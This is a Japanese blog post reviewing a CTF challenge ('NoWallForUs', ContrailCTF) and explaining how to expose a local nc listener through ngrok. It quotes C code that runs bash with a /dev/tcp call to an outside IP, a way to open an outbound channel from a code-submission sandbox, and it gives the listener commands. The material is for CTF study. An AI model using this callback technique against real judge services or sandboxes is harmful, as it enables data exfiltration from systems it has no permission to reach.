セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【ngrok.io】特定のIPアドレスとポートでリクエストを受け付ける

//

あらまし

ContrailCTFにオンタイムで参加できず、writeupを見ながら復習していた時、ngrokなるサイトが紹介されていたのでメモがてら備忘録です。


NoWallForUs

という問題のwriteupに使われていました。シナリオとしては競プロサイトで、Cなど任意言語でhelloを出力するコードを提出する合間に、フラグを見つけるみたいな感じです。今回のwriteup参考サイトはこちら

www.ryotosaito.com
提出するコードにtcp通信を仕込みます。この通信先をさくっと準備するのにngrokを使っていました。

#include <unistd.h>
int main()
{
        execl("/bin/bash", "/bin/bash", "-c", "echo hello &>/dev/tcp/17.xxx.xx.xx/1234", NULL);
        return -1;
}

[引用元:https://www.ryotosaito.com/blog/?p=400]



自分のマシンで受け付ける

ngrokに登録して、必要なファイルをダウンロード。インストールを行います(省略) ngrok - secure introspectable tunnels to localhost

ngrokが便利すぎる - Qiita
ローカルでリクエストを受け付けます。今回osubuntuです。

$nc -l 1234


新しいタブを開いて、ngrokを起動し、ncで待ち受けているやつに紐付けます。

$./ngrok tcp 1234

コンソールが表示され接続先がわかります。 f:id:thinline196:20200105190045p:plain
あとはpingなどを飛ばしてipアドレスを特定すれば、待ち受けるIPアドレスがわかるので、それと先ほど表示されたポートを使ってリクエストを送れると思います。